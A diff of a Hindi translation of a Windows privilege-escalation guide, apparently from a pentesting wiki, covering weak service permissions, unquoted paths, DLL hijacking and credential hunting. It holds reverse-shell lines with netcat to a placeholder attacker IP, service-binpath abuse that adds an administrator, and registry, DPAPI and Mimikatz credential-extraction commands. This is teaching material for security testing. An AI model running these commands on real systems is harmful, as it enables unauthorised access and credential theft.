उस परिदृश्य में जहाँ "प्रमाणित उपयोगकर्ता" समूह के पास एक सेवा पर **SERVICE_ALL_ACCESS** है, सेवा के निष्पादन योग्य बाइनरी को संशोधित करना संभव है। **sc** को संशोधित और निष्पादित करने के लिए:
|
||||
उस परिदृश्य में जहां "प्रमाणित उपयोगकर्ता" समूह के पास एक सेवा पर **SERVICE_ALL_ACCESS** है, सेवा के निष्पादन योग्य बाइनरी में संशोधन करना संभव है। **sc** को संशोधित और निष्पादित करने के लिए:
|
||||
```bash
|
||||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
||||
@ -474,7 +474,7 @@ For the detection and exploitation of this vulnerability, the _exploit/windows/l
|
||||
|
||||
### Services binaries weak permissions
|
||||
|
||||
**Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking/))**.**\
|
||||
**Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
You can get every binary that is executed by a service using **wmic** (not in system32) and check your permissions using **icacls**:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
@ -515,9 +515,9 @@ appenddata-addsubdirectory-permission-over-service-registry.md
|
||||
|
||||
### Unquoted Service Paths
|
||||
|
||||
यदि किसी निष्पादन योग्य का पथ उद्धरण के अंदर नहीं है, तो Windows हर स्पेस से पहले समाप्त होने वाले को निष्पादित करने की कोशिश करेगा।
|
||||
यदि किसी निष्पादन योग्य का पथ उद्धरण के अंदर नहीं है, तो Windows हर स्पेस से पहले समाप्ति को निष्पादित करने की कोशिश करेगा।
|
||||
|
||||
उदाहरण के लिए, पथ _C:\Program Files\Some Folder\Service.exe_ के लिए, Windows निष्पादित करने की कोशिश करेगा:
|
||||
उदाहरण के लिए, पथ _C:\Program Files\Some Folder\Service.exe_ के लिए Windows निष्पादित करने की कोशिश करेगा:
|
||||
```powershell
|
||||
C:\Program.exe
|
||||
C:\Program Files\Some.exe
|
||||
@ -555,7 +555,7 @@ Windows उपयोगकर्ताओं को यह निर्दिष
|
||||
|
||||
### Installed Applications
|
||||
|
||||
**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को अधिलेखित कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/)).
|
||||
**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को अधिलेखित कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/index.html)).
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -566,7 +566,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||||
```
|
||||
### Write Permissions
|
||||
|
||||
जांचें कि क्या आप किसी कॉन्फ़िग फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जो एक व्यवस्थापक खाते (schedtasks) द्वारा निष्पादित होने वाली है।
|
||||
जांचें कि क्या आप किसी कॉन्फ़िग फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जो एक Administrator खाते द्वारा निष्पादित होने वाली है (schedtasks)।
|
||||
|
||||
सिस्टम में कमजोर फ़ोल्डर/फ़ाइल अनुमतियों को खोजने का एक तरीका है:
|
||||
```bash
|
||||
@ -594,7 +594,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
||||
### स्टार्टअप पर चलाएँ
|
||||
|
||||
**जांचें कि क्या आप कुछ रजिस्ट्री या बाइनरी को ओवरराइट कर सकते हैं जो किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने वाली है।**\
|
||||
**अधिक जानने के लिए** **निम्नलिखित पृष्ठ** को पढ़ें **प्रिविलेज बढ़ाने के लिए दिलचस्प ऑटोरन स्थानों के बारे में**:
|
||||
**अधिक जानने के लिए** **निम्नलिखित पृष्ठ** को पढ़ें **प्रिविलेज बढ़ाने के लिए दिलचस्प ऑटोरन स्थानों** के बारे में:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-with-autorun-binaries.md
|
||||
@ -610,7 +610,7 @@ driverquery /SI
|
||||
```
|
||||
## PATH DLL Hijacking
|
||||
|
||||
यदि आपके पास **PATH पर मौजूद एक फ़ोल्डर के अंदर लिखने की अनुमति है** तो आप एक प्रक्रिया द्वारा लोड की गई DLL को हाईजैक करने और **अधिकार बढ़ाने** में सक्षम हो सकते हैं।
|
||||
यदि आपके पास **PATH पर मौजूद एक फ़ोल्डर के अंदर लिखने की अनुमति है** तो आप एक प्रक्रिया द्वारा लोड की गई DLL को हाईजैक कर सकते हैं और **अधिकार बढ़ा सकते हैं**।
|
||||
|
||||
PATH के अंदर सभी फ़ोल्डरों की अनुमतियों की जांच करें:
|
||||
```bash
|
||||
@ -646,11 +646,11 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft
|
||||
```
|
||||
### Open Ports
|
||||
|
||||
बाहर से **प्रतिबंधित सेवाओं** की जांच करें
|
||||
Check for **restricted services** from the outside
|
||||
```bash
|
||||
netstat -ano #Opened ports?
|
||||
```
|
||||
### रूटिंग तालिका
|
||||
### राउटिंग तालिका
|
||||
```
|
||||
route print
|
||||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
|
||||
@ -682,11 +682,11 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
|
||||
```
|
||||
बश को रूट के रूप में आसानी से शुरू करने के लिए, आप `--default-user root` आजमा सकते हैं।
|
||||
|
||||
आप `WSL` फ़ाइल सिस्टम को फ़ोल्डर `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` में एक्सप्लोर कर सकते हैं।
|
||||
आप `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` फ़ोल्डर में `WSL` फ़ाइल प्रणाली का अन्वेषण कर सकते हैं।
|
||||
|
||||
## Windows Credentials
|
||||
## Windows क्रेडेंशियल्स
|
||||
|
||||
### Winlogon Credentials
|
||||
### Winlogon क्रेडेंशियल्स
|
||||
```bash
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
||||
|
||||
@ -701,11 +701,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
### Credentials manager / Windows vault
|
||||
|
||||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
Windows Vault उपयोगकर्ताओं के क्रेडेंशियल्स को सर्वरों, वेबसाइटों और अन्य कार्यक्रमों के लिए संग्रहीत करता है जिन्हें **Windows** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन** कर सकता है। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे स्वचालित रूप से ब्राउज़रों के माध्यम से लॉग इन कर सकें। लेकिन ऐसा नहीं है।
|
||||
Windows Vault उपयोगकर्ता क्रेडेंशियल्स को सर्वरों, वेबसाइटों और अन्य कार्यक्रमों के लिए संग्रहीत करता है जिन्हें **Windows** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन** कर सकता है। पहले दृष्टिकोण में, यह ऐसा लग सकता है कि अब उपयोगकर्ता अपने फेसबुक क्रेडेंशियल्स, ट्विटर क्रेडेंशियल्स, जीमेल क्रेडेंशियल्स आदि को संग्रहीत कर सकते हैं, ताकि वे स्वचालित रूप से ब्राउज़रों के माध्यम से लॉग इन कर सकें। लेकिन ऐसा नहीं है।
|
||||
|
||||
Windows Vault उन क्रेडेंशियल्स को संग्रहीत करता है जिन्हें Windows उपयोगकर्ताओं को स्वचालित रूप से लॉग इन कर सकता है, जिसका अर्थ है कि कोई भी **Windows एप्लिकेशन जिसे किसी संसाधन (सर्वर या वेबसाइट) तक पहुँचने के लिए क्रेडेंशियल्स की आवश्यकता होती है** **इस Credential Manager** और Windows Vault का उपयोग कर सकता है और उपयोगकर्ताओं द्वारा बार-बार उपयोगकर्ता नाम और पासवर्ड दर्ज करने के बजाय प्रदान किए गए क्रेडेंशियल्स का उपयोग कर सकता है।
|
||||
|
||||
जब तक एप्लिकेशन Credential Manager के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि उनके लिए किसी दिए गए संसाधन के लिए क्रेडेंशियल्स का उपयोग करना संभव है। इसलिए, यदि आपका एप्लिकेशन वॉल्ट का उपयोग करना चाहता है, तो इसे किसी न किसी तरह से **क्रेडेंशियल मैनेजर के साथ संवाद करना चाहिए और उस संसाधन के लिए क्रेडेंशियल्स को डिफ़ॉल्ट स्टोरेज वॉल्ट से अनुरोध करना चाहिए**।
|
||||
जब तक एप्लिकेशन Credential Manager के साथ इंटरैक्ट नहीं करते, मुझे नहीं लगता कि उनके लिए किसी दिए गए संसाधन के लिए क्रेडेंशियल्स का उपयोग करना संभव है। इसलिए, यदि आपका एप्लिकेशन वॉल्ट का उपयोग करना चाहता है, तो इसे किसी न किसी तरह **क्रेडेंशियल मैनेजर के साथ संवाद करना चाहिए और उस संसाधन के लिए क्रेडेंशियल्स को डिफ़ॉल्ट स्टोरेज वॉल्ट से अनुरोध करना चाहिए**।
|
||||
|
||||
मशीन पर संग्रहीत क्रेडेंशियल्स की सूची बनाने के लिए `cmdkey` का उपयोग करें।
|
||||
```bash
|
||||
@ -715,11 +715,11 @@ Target: Domain:interactive=WORKGROUP\Administrator
|
||||
Type: Domain Password
|
||||
User: WORKGROUP\Administrator
|
||||
```
|
||||
फिर आप `/savecred` विकल्पों के साथ `runas` का उपयोग कर सकते हैं ताकि सहेजे गए क्रेडेंशियल्स का उपयोग किया जा सके। निम्नलिखित उदाहरण एक SMB शेयर के माध्यम से एक दूरस्थ बाइनरी को कॉल कर रहा है।
|
||||
फिर आप `/savecred` विकल्पों के साथ `runas` का उपयोग कर सकते हैं ताकि सहेजे गए क्रेडेंशियल्स का उपयोग किया जा सके। निम्नलिखित उदाहरण एक SMB शेयर के माध्यम से एक रिमोट बाइनरी को कॉल कर रहा है।
|
||||
```bash
|
||||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||||
```
|
||||
`runas` का उपयोग एक प्रदान किए गए क्रेडेंशियल सेट के साथ।
|
||||
`runas` के साथ प्रदान किए गए क्रेडेंशियल का उपयोग करना।
|
||||
```bash
|
||||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||||
```
|
||||
@ -727,11 +727,11 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
|
||||
|
||||
### DPAPI
|
||||
|
||||
**डेटा प्रोटेक्शन एपीआई (DPAPI)** डेटा के सममित एन्क्रिप्शन के लिए एक विधि प्रदान करता है, जो मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर असममित निजी कुंजियों के सममित एन्क्रिप्शन के लिए उपयोग किया जाता है। यह एन्क्रिप्शन एक उपयोगकर्ता या सिस्टम रहस्य का उपयोग करता है ताकि एंट्रॉपी में महत्वपूर्ण योगदान दिया जा सके।
|
||||
**डेटा प्रोटेक्शन एपीआई (DPAPI)** डेटा के सममित एन्क्रिप्शन के लिए एक विधि प्रदान करता है, जो मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर सममित एन्क्रिप्शन के लिए असममित निजी कुंजियों के लिए उपयोग किया जाता है। यह एन्क्रिप्शन एक उपयोगकर्ता या सिस्टम रहस्य का उपयोग करता है जो एंट्रॉपी में महत्वपूर्ण योगदान देता है।
|
||||
|
||||
**DPAPI उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई सममित कुंजी के माध्यम से कुंजियों के एन्क्रिप्शन को सक्षम करता है**। सिस्टम एन्क्रिप्शन के मामलों में, यह सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग करता है।
|
||||
|
||||
DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजियाँ `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [सुरक्षा पहचानकर्ता](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, जो उपयोगकर्ता की निजी कुंजियों की सुरक्षा करने वाली मास्टर कुंजी के साथ उसी फ़ाइल में स्थित होती है**, आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुँच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।
|
||||
DPAPI का उपयोग करके एन्क्रिप्टेड उपयोगकर्ता RSA कुंजियाँ `%APPDATA%\Microsoft\Protect\{SID}` निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उपयोगकर्ता के [सुरक्षा पहचानकर्ता](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI कुंजी, जो उपयोगकर्ता की निजी कुंजियों को उसी फ़ाइल में सुरक्षित रखने वाले मास्टर कुंजी के साथ स्थित होती है**, आमतौर पर 64 बाइट्स के यादृच्छिक डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस निर्देशिका तक पहुँच प्रतिबंधित है, जिससे `dir` कमांड के माध्यम से इसकी सामग्री को सूचीबद्ध करने से रोका जाता है, हालाँकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)।
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
|
||||
|
||||
### PowerShell Credentials
|
||||
|
||||
**PowerShell credentials** अक्सर **scripting** और स्वचालन कार्यों के लिए एन्क्रिप्टेड क्रेडेंशियल्स को सुविधाजनक तरीके से स्टोर करने के लिए उपयोग किए जाते हैं। क्रेडेंशियल्स को **DPAPI** का उपयोग करके सुरक्षित किया जाता है, जिसका अर्थ है कि इन्हें केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था।
|
||||
**PowerShell credentials** अक्सर **scripting** और स्वचालन कार्यों के लिए उपयोग किए जाते हैं ताकि एन्क्रिप्टेड क्रेडेंशियल्स को सुविधाजनक तरीके से संग्रहीत किया जा सके। क्रेडेंशियल्स को **DPAPI** का उपयोग करके सुरक्षित किया जाता है, जिसका अर्थ है कि इन्हें केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था।
|
||||
|
||||
आप फ़ाइल से PS क्रेडेंशियल्स को **decrypt** करने के लिए कर सकते हैं:
|
||||
```powershell
|
||||
@ -791,17 +791,17 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||||
```
|
||||
**Mimikatz** `dpapi::rdg` मॉड्यूल का उपयोग करें उचित `/masterkey` के साथ **किसी भी .rdg फ़ाइलों को डिक्रिप्ट करने के लिए**\
|
||||
आप **Mimikatz** `sekurlsa::dpapi` मॉड्यूल के साथ मेमोरी से कई DPAPI मास्टरकीज़ **निकाल सकते हैं**।
|
||||
आप **मेमोरी से कई DPAPI मास्टरकीज़** निकाल सकते हैं Mimikatz `sekurlsa::dpapi` मॉड्यूल के साथ
|
||||
|
||||
### Sticky Notes
|
||||
|
||||
लोग अक्सर Windows वर्कस्टेशनों पर StickyNotes ऐप का उपयोग **पासवर्ड** और अन्य जानकारी को **सहेजने** के लिए करते हैं, यह नहीं realizing कि यह एक डेटाबेस फ़ाइल है। यह फ़ाइल `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` पर स्थित है और इसे खोजने और जांचने के लिए हमेशा मूल्यवान होता है।
|
||||
लोग अक्सर Windows वर्कस्टेशनों पर StickyNotes ऐप का उपयोग **पासवर्ड** और अन्य जानकारी को सहेजने के लिए करते हैं, यह नहीं realizing कि यह एक डेटाबेस फ़ाइल है। यह फ़ाइल `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` पर स्थित है और इसे खोजने और जांचने के लिए हमेशा मूल्यवान होता है।
|
||||
|
||||
### AppCmd.exe
|
||||
|
||||
**ध्यान दें कि AppCmd.exe से पासवर्ड पुनर्प्राप्त करने के लिए आपको Administrator होना चाहिए और उच्च इंटीग्रिटी स्तर के तहत चलाना चाहिए।**\
|
||||
**AppCmd.exe** `%systemroot%\system32\inetsrv\` निर्देशिका में स्थित है।\
|
||||
यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ **क्रेडेंशियल्स** कॉन्फ़िगर किए गए हैं और उन्हें **पुनर्प्राप्त** किया जा सकता है।
|
||||
यदि यह फ़ाइल मौजूद है तो यह संभव है कि कुछ **क्रेडेंशियल्स** कॉन्फ़िगर किए गए हैं और उन्हें **पुनर्प्राप्त** किया जा सकता है।
|
||||
|
||||
यह कोड [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) से निकाला गया था:
|
||||
```bash
|
||||
@ -890,9 +890,9 @@ $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -
|
||||
if ($result) { $result }
|
||||
else { Write "Not Installed." }
|
||||
```
|
||||
## फ़ाइलें और रजिस्ट्री (क्रेडेंशियल्स)
|
||||
## फ़ाइलें और रजिस्ट्र्री (क्रेडेंशियल्स)
|
||||
|
||||
### Putty क्रेडेंशियल्स
|
||||
### Putty क्रेड्स
|
||||
```bash
|
||||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||||
```
|
||||
@ -906,7 +906,7 @@ SSH निजी कुंजी रजिस्ट्री कुंजी `HK
|
||||
```bash
|
||||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
```
|
||||
यदि आप उस पथ के अंदर कोई प्रविष्टि पाते हैं, तो यह संभवतः एक सहेजा गया SSH कुंजी होगी। इसे एन्क्रिप्टेड रूप में संग्रहीत किया गया है लेकिन [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके इसे आसानी से डिक्रिप्ट किया जा सकता है।\
|
||||
यदि आप उस पथ के अंदर कोई प्रविष्टि पाते हैं, तो यह संभवतः एक सहेजा गया SSH कुंजी होगी। यह एन्क्रिप्टेड रूप में संग्रहीत होती है लेकिन [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके इसे आसानी से डिक्रिप्ट किया जा सकता है।\
|
||||
इस तकनीक के बारे में अधिक जानकारी यहाँ है: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
यदि `ssh-agent` सेवा चल नहीं रही है और आप चाहते हैं कि यह बूट पर स्वचालित रूप से शुरू हो, तो चलाएँ:
|
||||
@ -972,7 +972,7 @@ AppData\Roaming\gcloud\access_tokens.db
|
||||
```
|
||||
### McAfee SiteList.xml
|
||||
|
||||
**SiteList.xml** नाम की फ़ाइल के लिए खोजें
|
||||
**SiteList.xml** नामक फ़ाइल के लिए खोजें
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
@ -1135,22 +1135,22 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd
|
||||
```
|
||||
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
|
||||
```
|
||||
### Credentials in the RecycleBin
|
||||
### RecycleBin में क्रेडेंशियल्स
|
||||
|
||||
आपको इसमें क्रेडेंशियल्स की तलाश के लिए बिन की भी जांच करनी चाहिए
|
||||
आपको इसके अंदर क्रेडेंशियल्स की तलाश के लिए बिन की भी जांच करनी चाहिए
|
||||
|
||||
To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||||
कई प्रोग्राम द्वारा सहेजे गए **पासवर्ड को पुनर्प्राप्त करने** के लिए आप उपयोग कर सकते हैं: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||||
|
||||
### Inside the registry
|
||||
### रजिस्ट्री के अंदर
|
||||
|
||||
**Other possible registry keys with credentials**
|
||||
**क्रेडेंशियल्स के साथ अन्य संभावित रजिस्ट्री कुंजी**
|
||||
```bash
|
||||
reg query "HKCU\Software\ORL\WinVNC3\Password"
|
||||
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
|
||||
reg query "HKCU\Software\TightVNC\Server"
|
||||
reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
```
|
||||
[**Registry से openssh कुंजी निकालें।**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
[**रजिस्ट्री से openssh कुंजी निकालें।**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
### ब्राउज़र्स इतिहास
|
||||
|
||||
@ -1166,9 +1166,9 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
|
||||
### **COM DLL ओवरराइटिंग**
|
||||
|
||||
**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास ID (CLSID)** के माध्यम से **पहचाना** जाता है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस IDs (IIDs) के माध्यम से पहचाना जाता है।
|
||||
**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास आईडी (CLSID)** के माध्यम से **पहचान** की जाती है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस आईडी (IIDs) के माध्यम से पहचाना जाता है।
|
||||
|
||||
COM क्लास और इंटरफेस को रजिस्ट्री में **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** और **HKEY\_**_**CLASSES\_**_**ROOT\Interface** के तहत परिभाषित किया गया है। यह रजिस्ट्री **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** को मिलाकर बनाई गई है।
|
||||
COM क्लास और इंटरफेस रजिस्ट्री में **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** और **HKEY\_**_**CLASSES\_**_**ROOT\Interface** के तहत परिभाषित हैं। यह रजिस्ट्री **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** को मिलाकर बनाई जाती है।
|
||||
|
||||
इस रजिस्ट्री के CLSIDs के अंदर आप बच्चे की रजिस्ट्री **InProcServer32** पा सकते हैं जिसमें एक **डिफ़ॉल्ट मान** होता है जो एक **DLL** की ओर इशारा करता है और एक मान जिसे **ThreadingModel** कहा जाता है जो **Apartment** (सिंगल-थ्रेडेड), **Free** (मल्टी-थ्रेडेड), **Both** (सिंगल या मल्टी) या **Neutral** (थ्रेड न्यूट्रल) हो सकता है।
|
||||
|
||||
@ -1176,7 +1176,7 @@ COM क्लास और इंटरफेस को रजिस्ट्र
|
||||
|
||||
बुनियादी रूप से, यदि आप **किसी भी DLL को ओवरराइट** कर सकते हैं जो निष्पादित होने जा रही है, तो आप **अधिकार बढ़ा सकते हैं** यदि वह DLL किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने जा रही है।
|
||||
|
||||
हमलावरों द्वारा COM Hijacking का उपयोग स्थिरता तंत्र के रूप में कैसे किया जाता है, यह जानने के लिए जांचें:
|
||||
हमलावरों द्वारा COM Hijacking का उपयोग स्थिरता तंत्र के रूप में कैसे किया जाता है, यह जानने के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
com-hijacking.md
|
||||
@ -1196,7 +1196,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||||
where /R C:\ user.txt
|
||||
where /R C:\ *.ini
|
||||
```
|
||||
**रजिस्ट्री में कुंजी नाम और पासवर्ड के लिए खोजें**
|
||||
**रजिस्ट्री में कुंजी नामों और पासवर्ड के लिए खोजें**
|
||||
```bash
|
||||
REG QUERY HKLM /F "password" /t REG_SZ /S /K
|
||||
REG QUERY HKCU /F "password" /t REG_SZ /S /K
|
||||
@ -1219,9 +1219,9 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
## Leaked Handlers
|
||||
|
||||
कल्पना करें कि **एक प्रक्रिया जो SYSTEM के रूप में चल रही है एक नई प्रक्रिया खोलती है** (`OpenProcess()`) **पूर्ण पहुंच के साथ**। वही प्रक्रिया **एक नई प्रक्रिया भी बनाती है** (`CreateProcess()`) **कम विशेषाधिकार के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हैंडल विरासत में लेते हुए**।\
|
||||
फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुंच है**, तो आप **privileged प्रक्रिया के लिए खोले गए हैंडल को पकड़ सकते हैं** जो `OpenProcess()` के साथ बनाई गई थी और **एक shellcode इंजेक्ट कर सकते हैं**।\
|
||||
फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुंच है**, तो आप **privileged प्रक्रिया के लिए खोले गए हैंडल को पकड़ सकते हैं** जो `OpenProcess()` के साथ बनाई गई थी और **shellcode इंजेक्ट कर सकते हैं**।\
|
||||
[इस उदाहरण को पढ़ें अधिक जानकारी के लिए **इस भेद्यता का पता लगाने और शोषण करने के बारे में**।](leaked-handle-exploitation.md)\
|
||||
[इस **अन्य पोस्ट को पढ़ें अधिक पूर्ण व्याख्या के लिए कि कैसे परीक्षण करें और विभिन्न स्तरों के अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिले प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का दुरुपयोग करें**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)।
|
||||
[इस **अन्य पोस्ट को पढ़ें अधिक पूर्ण व्याख्या के लिए कि कैसे विभिन्न स्तरों के अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिली प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का परीक्षण और दुरुपयोग करें**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)।
|
||||
|
||||
## Named Pipe Client Impersonation
|
||||
|
||||
@ -1229,15 +1229,15 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
|
||||
Windows एक सुविधा प्रदान करता है जिसे **Named Pipes** कहा जाता है, जो असंबंधित प्रक्रियाओं को डेटा साझा करने की अनुमति देता है, यहां तक कि विभिन्न नेटवर्कों पर भी। यह एक क्लाइंट/सर्वर आर्किटेक्चर के समान है, जिसमें भूमिकाएँ **named pipe server** और **named pipe client** के रूप में परिभाषित होती हैं।
|
||||
|
||||
